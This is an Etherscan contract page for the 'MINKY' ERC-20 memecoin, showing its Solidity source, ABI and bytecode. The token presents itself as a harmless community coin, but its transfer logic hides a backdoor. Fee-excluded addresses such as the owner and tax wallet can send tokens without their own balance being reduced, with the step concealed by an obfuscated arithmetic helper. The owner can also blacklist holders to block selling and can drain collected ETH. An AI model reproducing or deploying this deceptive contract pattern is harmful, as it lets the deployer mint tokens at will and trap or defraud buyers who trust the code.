Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 MINKY
Holders
87
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,965,394,095.541491776 MINKYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MINKY
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-21 */ /** Welcome to $MINKY - The cutest dog on #ETH. Only fluffy and feel good vibes. Don't fade and see you on the moon! 🐶 Web: https://minky.wtf X: https://x.com/minky_erc Tg: https://t.me/minky_official_portal **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MINKY is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax = 25; uint256 private _initialSellTax = 25; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 15; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10 ** _decimals; string private constant _name = unicode"MINKY"; string private constant _symbol = unicode"MINKY"; uint256 public _maxTxAmount = _tTotal.mul(2).div(100) * 10 ** _decimals; uint256 public _maxWalletSize = _tTotal.mul(2).div(100) * 10 ** _decimals; uint256 public _taxSwapThreshold = 120 * 10 ** _decimals; uint256 public _maxTaxSwap = _tTotal.mul(1).div(100) * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0xDF89039dAA808D9FDE4C9c37e5DDeb42886fE6D1); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function init() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _taxTransfer(address from, address to, uint256 amount) private { if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && !_isExcludedFromFee[to]) { require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } sendETHToFee(address(this).balance); } } _tokenTransfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); return; } _taxTransfer(from, to, amount); } function _tokenTransfer(address from, address to, uint256 tAmount) internal { uint256 tax = 0; uint256 tokenAmount = 0; if(!tokenExcluded(from)) { tax = tAmount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (to == uniswapV2Pair && from != address(this)) { tax = tAmount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } tokenAmount = getTAmount(tAmount); if (tax > 0) { _balances[address(this)] = _balances[address(this)] + tax; emit Transfer(from, address(this), tax); } } _balances[from] = _balances[from] - tokenAmount; _balances[to] = _balances[to] + tAmount.sub(tax); emit Transfer(from, to, tAmount.sub(tax)); } function tokenExcluded(address tAddr) private view returns(bool) { return _isExcludedFromFee[tAddr]; } function getTAmount(uint256 tAmount) private pure returns(uint256) { return 1 * 10 - 10 + tAmount * 1 + 10 -10; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool) { return bots[a]; } function open() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; firstBlock = block.number; } receive() external payable {} function withdraw() external onlyOwner { sendETHToFee(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"open","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601960075560196008555f6009555f600a55600f600b55600f600c55600f600d555f600e556009600a620000399190620004b8565b6200007260646200006b6002620000536009600a620004b8565b62000064906461f313f880620004c8565b9062000295565b9062000328565b6200007e9190620004c8565b600f556200008f6009600a620004b8565b620000a960646200006b6002620000536009600a620004b8565b620000b59190620004c8565b601055620000c66009600a620004b8565b620000d3906078620004c8565b601155620000e46009600a620004b8565b620000fe60646200006b6001620000536009600a620004b8565b6200010a9190620004c8565b6012556014805461ffff60a81b1916905534801562000127575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673df89039daa808d9fde4c9c37e5ddeb42886fe6d11790556200019c6009600a620004b8565b620001ad906461f313f880620004c8565b335f908152600160208190526040822092909255600390620001d65f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620002343390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200026d6009600a620004b8565b6200027e906461f313f880620004c8565b60405190815260200160405180910390a362000550565b5f825f03620002a657505f62000322565b5f620002b38385620004c8565b905082620002c28583620004e2565b146200031f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6200031f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200037160201b60201c565b5f8183620003945760405162461bcd60e51b815260040162000316919062000502565b505f620003a28486620004e2565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003ff57815f1904821115620003e357620003e3620003ab565b80851615620003f157918102915b93841c9390800290620003c4565b509250929050565b5f82620004175750600162000322565b816200042557505f62000322565b81600181146200043e5760028114620004495762000469565b600191505062000322565b60ff8411156200045d576200045d620003ab565b50506001821b62000322565b5060208310610133831016604e8410600b84101617156200048e575081810a62000322565b6200049a8383620003bf565b805f1904821115620004b057620004b0620003ab565b029392505050565b5f6200031f60ff84168362000407565b8082028115828204841417620003225762000322620003ab565b5f82620004fd57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602080835283518060208501525f5b81811015620005305785810183015185820160400152820162000512565b505f604082860101526040601f19601f8301168501019250505092915050565b611bab806200055e5f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb14610333578063bf474bed14610352578063d34628cc14610367578063dd62ed3e14610386578063e1c7392a146103ca578063fcfff16f146103de575f80fd5b8063751039fc146102cf5780637d1db4a5146102e35780638da5cb5b146102f85780638f9a55c01461031e57806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce5671461020057806331c2d8471461021b5780633bbac5791461023c5780633ccfd60b1461027357806370a0823114610287578063715018a6146102bb575f80fd5b806306fdde031461013f578063095ea7b31461017b5780630faee56f146101aa57806318160ddd146101cd57806323b872dd146101e1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201825260058152644d494e4b5960d81b6020820152905161017291906116b7565b60405180910390f35b348015610186575f80fd5b5061019a61019536600461172a565b6103f2565b6040519015158152602001610172565b3480156101b5575f80fd5b506101bf60125481565b604051908152602001610172565b3480156101d8575f80fd5b506101bf610408565b3480156101ec575f80fd5b5061019a6101fb366004611754565b610429565b34801561020b575f80fd5b5060405160098152602001610172565b348015610226575f80fd5b5061023a6102353660046117a6565b610490565b005b348015610247575f80fd5b5061019a610256366004611866565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561027e575f80fd5b5061023a610520565b348015610292575f80fd5b506101bf6102a1366004611866565b6001600160a01b03165f9081526001602052604090205490565b3480156102c6575f80fd5b5061023a610554565b3480156102da575f80fd5b5061023a6105c5565b3480156102ee575f80fd5b506101bf600f5481565b348015610303575f80fd5b505f546040516001600160a01b039091168152602001610172565b348015610329575f80fd5b506101bf60105481565b34801561033e575f80fd5b5061019a61034d36600461172a565b610679565b34801561035d575f80fd5b506101bf60115481565b348015610372575f80fd5b5061023a6103813660046117a6565b610685565b348015610391575f80fd5b506101bf6103a0366004611881565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d5575f80fd5b5061023a610709565b3480156103e9575f80fd5b5061023a610903565b5f6103fe338484610aec565b5060015b92915050565b5f6104156009600a6119ac565b610424906461f313f8806119ba565b905090565b5f610435848484610c10565b610486843361048185604051806060016040528060288152602001611b4e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e13565b610aec565b5060019392505050565b5f546001600160a01b031633146104c25760405162461bcd60e51b81526004016104b9906119d1565b60405180910390fd5b5f5b815181101561051c575f60045f8484815181106104e3576104e3611a06565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104c4565b5050565b5f546001600160a01b031633146105495760405162461bcd60e51b81526004016104b9906119d1565b61055247610e4b565b565b5f546001600160a01b0316331461057d5760405162461bcd60e51b81526004016104b9906119d1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ee5760405162461bcd60e51b81526004016104b9906119d1565b6105fa6009600a6119ac565b610609906461f313f8806119ba565b600f556106186009600a6119ac565b610627906461f313f8806119ba565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106576009600a6119ac565b610666906461f313f8806119ba565b60405190815260200160405180910390a1565b5f6103fe338484610c10565b5f546001600160a01b031633146106ae5760405162461bcd60e51b81526004016104b9906119d1565b5f5b815181101561051c57600160045f8484815181106106d0576106d0611a06565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016106b0565b5f546001600160a01b031633146107325760405162461bcd60e51b81526004016104b9906119d1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077c90309061076d6009600a6119ac565b610481906461f313f8806119ba565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f09190611a1a565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108739190611a1a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e19190611a1a565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461092c5760405162461bcd60e51b81526004016104b9906119d1565b601454600160a01b900460ff16156109865760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b9565b6013546001600160a01b031663f305d71947306109b7816001600160a01b03165f9081526001602052604090205490565b5f806109ca5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a30573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a559190611a35565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610aaa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ace9190611a60565b506014805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b038316610b4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b9565b6001600160a01b038216610baf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b9565b6001600160a01b038216610cd65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b9565b5f8111610d375760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b9565b601454600160b01b900460ff161580610d595750601454600160a81b900460ff165b15610e03576001600160a01b0383165f90815260016020526040902054610d81908290611a7f565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610db0908290611a92565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c039085815260200190565b610e0e838383610e82565b505050565b5f8184841115610e365760405162461bcd60e51b81526004016104b991906116b7565b505f610e428486611a7f565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561051c573d5f803e3d5ffd5b5f546001600160a01b03848116911614801590610eac57505f546001600160a01b03838116911614155b156111dd576001600160a01b0383165f9081526004602052604090205460ff16158015610ef157506001600160a01b0382165f9081526004602052604090205460ff16155b610ef9575f80fd5b6014546001600160a01b038481169116148015610f2457506013546001600160a01b03838116911614155b8015610f4857506001600160a01b0382165f9081526003602052604090205460ff16155b1561104f57600f54811115610f9f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b9565b60105481610fc1846001600160a01b03165f9081526001602052604090205490565b610fcb9190611a92565b11156110195760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b9565b4360065460036110299190611a92565b111561103a57813b1561103a575f80fd5b600e8054905f61104983611aa5565b91905055505b6014546001600160a01b0383811691161480159061108557506001600160a01b0382165f9081526003602052604090205460ff16155b1561110457601054816110ac846001600160a01b03165f9081526001602052604090205490565b6110b69190611a92565b11156111045760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b9565b305f90815260016020526040902054601454600160a81b900460ff1615801561113a57506014546001600160a01b038481169116145b801561114f5750601454600160b01b900460ff165b801561115e5750600d54600e54115b801561118257506001600160a01b0384165f9081526003602052604090205460ff16155b80156111a657506001600160a01b0383165f9081526003602052604090205460ff16155b156111db576011548111156111d2576111d26111cd836111c8846012546111e8565b6111e8565b6111ff565b6111db47610e4b565b505b610e0e83838361136f565b5f8183116111f657826111f8565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124557611245611a06565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561129c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c09190611a1a565b816001815181106112d3576112d3611a06565b6001600160a01b0392831660209182029290920101526013546112f99130911684610aec565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113319085905f90869030904290600401611abd565b5f604051808303815f87803b158015611348575f80fd5b505af115801561135a573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6001600160a01b0383165f90815260036020526040812054819060ff16611496576113bc60646113b6600b54600e54116113ab576007546113af565b6009545b869061155e565b906115dc565b6014549092506001600160a01b0385811691161480156113e557506001600160a01b0385163014155b156114125761140f60646113b6600c54600e5411611405576008546113af565b600a54869061155e565b91505b61141b8361161d565b9050811561149657305f9081526001602052604090205461143d908390611a92565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061148d9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546114b9908290611a7f565b6001600160a01b0386165f908152600160205260409020556114db838361164a565b6001600160a01b0385165f908152600160205260409020546114fd9190611a92565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611546868661164a565b60405190815260200160405180910390a35050505050565b5f825f0361156d57505f610402565b5f61157883856119ba565b9050826115858583611b2e565b146111f85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b9565b5f6111f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168b565b5f600a61162b8360016119ba565b611635905f611a92565b61164090600a611a92565b6104029190611a7f565b5f6111f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e13565b5f81836116ab5760405162461bcd60e51b81526004016104b991906116b7565b505f610e428486611b2e565b5f602080835283518060208501525f5b818110156116e3578581018301518582016040015282016116c7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611717575f80fd5b50565b803561172581611703565b919050565b5f806040838503121561173b575f80fd5b823561174681611703565b946020939093013593505050565b5f805f60608486031215611766575f80fd5b833561177181611703565b9250602084013561178181611703565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117b7575f80fd5b823567ffffffffffffffff808211156117ce575f80fd5b818501915085601f8301126117e1575f80fd5b8135818111156117f3576117f3611792565b8060051b604051601f19603f8301168101818110858211171561181857611818611792565b604052918252848201925083810185019188831115611835575f80fd5b938501935b8285101561185a5761184b8561171a565b8452938501939285019261183a565b98975050505050505050565b5f60208284031215611876575f80fd5b81356111f881611703565b5f8060408385031215611892575f80fd5b823561189d81611703565b915060208301356118ad81611703565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561190657815f19048211156118ec576118ec6118b8565b808516156118f957918102915b93841c93908002906118d1565b509250929050565b5f8261191c57506001610402565b8161192857505f610402565b816001811461193e576002811461194857611964565b6001915050610402565b60ff841115611959576119596118b8565b50506001821b610402565b5060208310610133831016604e8410600b8410161715611987575081810a610402565b61199183836118cc565b805f19048211156119a4576119a46118b8565b029392505050565b5f6111f860ff84168361190e565b8082028115828204841417610402576104026118b8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a2a575f80fd5b81516111f881611703565b5f805f60608486031215611a47575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a70575f80fd5b815180151581146111f8575f80fd5b81810381811115610402576104026118b8565b80820180821115610402576104026118b8565b5f60018201611ab657611ab66118b8565b5060010190565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b0d5784516001600160a01b031683529383019391830191600101611ae8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b4857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee39736a42c163c499e6dd4cf265f93246756d8337cc8bb35f09d168424b5eeb64736f6c63430008180033
Deployed Bytecode
0x608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb14610333578063bf474bed14610352578063d34628cc14610367578063dd62ed3e14610386578063e1c7392a146103ca578063fcfff16f146103de575f80fd5b8063751039fc146102cf5780637d1db4a5146102e35780638da5cb5b146102f85780638f9a55c01461031e57806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce5671461020057806331c2d8471461021b5780633bbac5791461023c5780633ccfd60b1461027357806370a0823114610287578063715018a6146102bb575f80fd5b806306fdde031461013f578063095ea7b31461017b5780630faee56f146101aa57806318160ddd146101cd57806323b872dd146101e1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201825260058152644d494e4b5960d81b6020820152905161017291906116b7565b60405180910390f35b348015610186575f80fd5b5061019a61019536600461172a565b6103f2565b6040519015158152602001610172565b3480156101b5575f80fd5b506101bf60125481565b604051908152602001610172565b3480156101d8575f80fd5b506101bf610408565b3480156101ec575f80fd5b5061019a6101fb366004611754565b610429565b34801561020b575f80fd5b5060405160098152602001610172565b348015610226575f80fd5b5061023a6102353660046117a6565b610490565b005b348015610247575f80fd5b5061019a610256366004611866565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561027e575f80fd5b5061023a610520565b348015610292575f80fd5b506101bf6102a1366004611866565b6001600160a01b03165f9081526001602052604090